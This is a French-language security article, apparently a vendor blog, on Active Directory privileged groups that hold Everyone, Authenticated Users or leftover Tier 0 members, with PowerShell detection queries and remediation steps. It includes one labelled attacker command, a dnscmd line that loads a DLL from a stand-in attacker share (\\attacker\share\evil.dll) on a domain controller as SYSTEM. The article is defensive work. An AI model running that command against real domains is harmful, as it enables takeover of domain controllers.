Everyone, Authenticated Users, groupes privilégiés Active Directory : comment les groupes intégrés sont sur-membrés en silence

Everyone, Authenticated Users, groupes privilégiés Active Directory : à quoi ressemble la sur-appartenance

Everyone, Authenticated Users, groupes privilégiés, Active Directory — quatre éléments qui se combinent en un risque Tier 0 dès qu'une identité spéciale se retrouve directement dans la liste des membres d'un groupe, sans qu'aucun chemin d'attaque ne soit nécessaire. La plupart des contenus sur l'élévation de privilèges Active Directory se concentrent sur des chemins indirects : imbrication de groupes, abus d'ACL, chaînes de délégation. Cet article couvre une version plus directe du même problème : un groupe privilégié Active Directory — intégré ou Tier 0 — où Everyone, Authenticated Users, ou un compte Tier 0 qui aurait dû être retiré des mois plus tôt se trouve directement dans la liste des membres, sans imbrication ni astuce d'ACL nécessaire pour le découvrir. C'est un cousin proche de la dérive des accès privilégiés, mais sans la lente accumulation en plusieurs étapes : la mauvaise configuration est visible dans une seule liste de membres.

Concrètement, voici ce qu'un audit pour active directory privileged group everyone authenticated users doit vérifier : quels groupes privilégiés de portée domaine-local possèdent un membre à identité spéciale, et quels groupes Tier 0 sont restés peuplés depuis leur dernier usage légitime.

Trois schémas entrent dans cette catégorie :

• Identités spéciales ajoutées directement à un groupe privilégié. Les identités spéciales Everyone et Authenticated Users peuvent être ajoutées comme membres explicites d'un groupe à portée domaine-local. Si ce groupe est privilégié — Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, ou DnsAdmins — chaque principal authentifié du domaine hérite des droits de ce groupe.
• Groupes Tier 0 qui devraient être vides, mais ne le sont pas. Schema Admins et Enterprise Admins existent pour un usage occasionnel et délibéré (modifications de schéma, administration inter-domaines). La recommandation de remédiation de Microsoft elle-même consiste à garder Schema Admins vide en dehors d'un changement de schéma actif et à ne le repeupler qu'en cas de besoin (Microsoft Learn). Un membre permanent est un identifiant Tier 0 en permanence disponible que personne n'utilise activement — de la surface d'attaque pure.
• Un groupe privilégié que la plupart des équipes ne surveillent pas : DnsAdmins. Microsoft Defender for Identity embarque une évaluation de sécurité dédiée pour les « permissions non sûres sur le groupe DnsAdmins », car l'appartenance à ce groupe donne le contrôle du service DNS Server qui s'exécute sur les contrôleurs de domaine (Microsoft Learn) — un contrôle qu'une technique bien connue convertit en SYSTEM sur un DC.

Rien de tout cela ne nécessite de recherche de chemin façon BloodHound. Cela apparaît dès qu'on exécute Get-ADGroupMember sur le bon groupe — ce qui explique précisément pourquoi cela tend à survivre aux audits construits autour des graphes de chemins d'attaque plutôt que des simples listes de membres.

Cela tend aussi à échapper à la revue manuelle parce que ce n'est pas le résultat d'une seule décision spectaculaire. Un compte est ajouté à Schema Admins pour l'installation ponctuelle d'une application, et l'étape de retrait est oubliée. Une session de dépannage ajoute Authenticated Users à DnsAdmins « temporairement » pour débloquer un ticket du support, et le ticket se ferme avant que l'appartenance ne soit annulée. Chaque étape paraît localement raisonnable ; l'état cumulé est un domaine où n'importe quel compte authentifié — y compris un utilisateur peu privilégié victime de phishing ou un compte de service compromis — a déjà une ligne droite vers un contrôleur de domaine.

Comment ça fonctionne

Everyone et Authenticated Users ne peuvent atterrir que dans des groupes domaine-local — mais cela inclut ceux qui comptent

Selon les règles de portée de groupe d'AD (le modèle classique AGDLP), les identités spéciales et les principaux de sécurité étrangers ne peuvent être placés que dans des groupes de portée domaine-local, pas globale ni universelle (Microsoft TechNet wiki, « Foreign Security Principals and Special Identities » ; Microsoft Learn, « Understand Special Identities Groups »). Lorsqu'un administrateur (ou une GPO/un script mal configuré) ajoute Everyone ou Authenticated Users à un tel groupe, Active Directory crée un objet ForeignSecurityPrincipal pour ce SID bien connu sous CN=ForeignSecurityPrincipals et le liste comme membre.

Cela exclut d'ajouter Everyone directement dans le groupe Domain Admins, à portée globale — les contraintes de portée de groupe d'AD ne le permettent pas. Mais cela n'exclut pas le groupe qui compte réellement le plus : le groupe intégré Administrators est à portée domaine-local, et par défaut il contient déjà Domain Admins et Enterprise Admins imbriqués à l'intérieur (Microsoft Learn, Appendix G — Securing Administrators Groups in Active Directory). Ajoutez Everyone ou Authenticated Users à Administrators, et chaque compte authentifié du domaine hérite de tout ce que Domain Admins hérite de cette imbrication — le contrôle total de chaque contrôleur de domaine. La même portée domaine-local couvre Account Operators, Backup Operators, Server Operators, Print Operators, et DnsAdmins — tous des cibles courantes de cette même mauvaise configuration.

🚨 Danger : ce n'est pas un chemin théorique — c'est une liste de membres. Aucune ACL déléguée, aucune astuce Kerberos, aucune chaîne imbriquée. Get-ADGroupMember sur le mauvais groupe le montre en un seul appel.

L'appartenance à DnsAdmins se convertit en SYSTEM sur un contrôleur de domaine

L'appartenance à DnsAdmins est dangereuse en soi, indépendamment des astuces Everyone/Authenticated Users. Les membres peuvent définir la valeur de registre ServerLevelPluginDll sur le service DNS Server via dnscmd.exe, en la pointant vers une DLL arbitraire ; le redémarrage du service DNS charge cette DLL sous le compte SYSTEM du contrôleur de domaine. Ceci a été publié pour la première fois par Shay Ber (Lab of a Penetration Tester, 2017) sous le titre « Abusing DNSAdmins privilege for escalation in Active Directory », et a depuis été documenté et revérifié à plusieurs reprises, notamment par Sean Metcalf sur ADSecurity.org (« From DNSAdmins to Domain Admin ») et par Semperis (« DnsAdmins Revisited ») (Lab of a Penetration Tester ; ADSecurity.org ; Semperis).

# Primitive côté attaquant (membre de DnsAdmins, pour la sensibilisation des défenseurs uniquement)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

Microsoft a indiqué qu'il s'agit d'une fonctionnalité documentée du protocole de gestion DNS plutôt que d'une vulnérabilité, ce qui explique précisément pourquoi cela n'est pas corrigé par un patch — la correction est organisationnelle (garder DnsAdmins vide ou strictement délimité), pas un correctif de sécurité (InfosecMatter / résumé de la position du MSRC dans la fiche du module Metasploit).

Schema Admins et Enterprise Admins comme identifiants Tier 0 permanents

Schema Admins n'a besoin de membres que pendant la durée d'une extension de schéma réelle (l'installation d'une nouvelle application ajoutant des attributs de schéma, un changement de niveau fonctionnel de forêt). Le contenu de remédiation de Microsoft pour ce constat précis indique de retirer tous les membres et de ne les rajouter que lorsqu'un changement de schéma est en cours (Microsoft Learn). Un Schema Admins (ou Enterprise Admins, de portée similaire pour l'administration à l'échelle de la forêt) peuplé en permanence est un identifiant Tier 0 qui reste inutilisé entre deux changements — exactement le genre de compte que les attaquants recherchent, car personne ne remarque ses connexions puisque normalement, il ne se connecte jamais.

Détection

Tout ce qui suit peut être exécuté en lecture seule, avec un compte de service ne détenant aucun droit d'écriture. Pour l'ensemble plus large des event IDs à collecter dans un environnement AD, voir le guide de supervision dédié — le tableau ci-dessous couvre uniquement les événements spécifiques à cette mauvaise configuration.

# 1. Énumérer les membres des groupes privilégiés domaine-local et repérer les entrées ForeignSecurityPrincipal
#    (c'est ainsi qu'Everyone/Authenticated Users apparaissent lorsqu'ils sont ajoutés directement)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Résoudre le SID bien connu que représente un ForeignSecurityPrincipal
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins doivent être vides en dehors d'une fenêtre de maintenance
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Remédiation

Ces corrections s'inscrivent dans un passage plus large de priorités de durcissement Active Directory — l'hygiène des groupes privilégiés doit figurer en haut de cette liste, pas comme un point de suivi ultérieur. Si vous partez de zéro sur ce domaine, la checklist d'audit de sécurité Active Directory donne le workflow de revue complet dans lequel ce constat s'inscrit.

1. Retirer toute appartenance Everyone/Authenticated Users des groupes privilégiés à portée domaine-local. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") — vérifiez d'abord l'objet exact, c'est un groupe Tier 0.
2. Vider Schema Admins et Enterprise Admins en dehors des fenêtres de maintenance. Documentez un processus break-glass : ajouter le compte, effectuer le changement, le retirer, et journaliser l'exception (qui, pourquoi, quand).
3. Restreindre étroitement DnsAdmins et le surveiller comme Domain Admins. Si personne ne peut justifier pourquoi un compte donné en est membre, retirez-le. Traitez tout événement 4728/4732 sur ce groupe comme une alerte Tier 0, pas comme du bruit IT de routine.
4. Alerter en temps réel sur 4728/4732/4756 pour l'ensemble de la liste des groupes Tier 0, pas seulement Domain Admins/Enterprise Admins — incluez Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins, et Schema Admins dans la même règle d'alerte.
5. Exiger un enregistrement d'approbation pour chaque ajout à un groupe privilégié — propriétaire, justification, et date d'expiration. Une appartenance sans raison documentée est elle-même le constat, indépendamment de la personne ajoutée.

Comment EtcSec détecte cela

L'audit AD d'EtcSec vérifie la sur-appartenance directe dans les groupes intégrés et Tier 0 couverts ici : GROUP_EVERYONE_IN_PRIVILEGED et GROUP_AUTHENTICATED_USERS_PRIVILEGED signalent les identités spéciales placées directement dans un groupe privilégié, SCHEMA_ADMINS_NOT_EMPTY signale un groupe Schema/Enterprise Admins peuplé de façon persistante, DNS_ADMINS_MEMBER fait remonter chaque membre de DnsAdmins pour revue, et PRIVILEGED_GROUP_MEMBER_CHANGES suit les changements récents d'appartenance sur les groupes Tier 0 pour qu'un nouvel ajout ne passe pas inaperçu entre deux audits.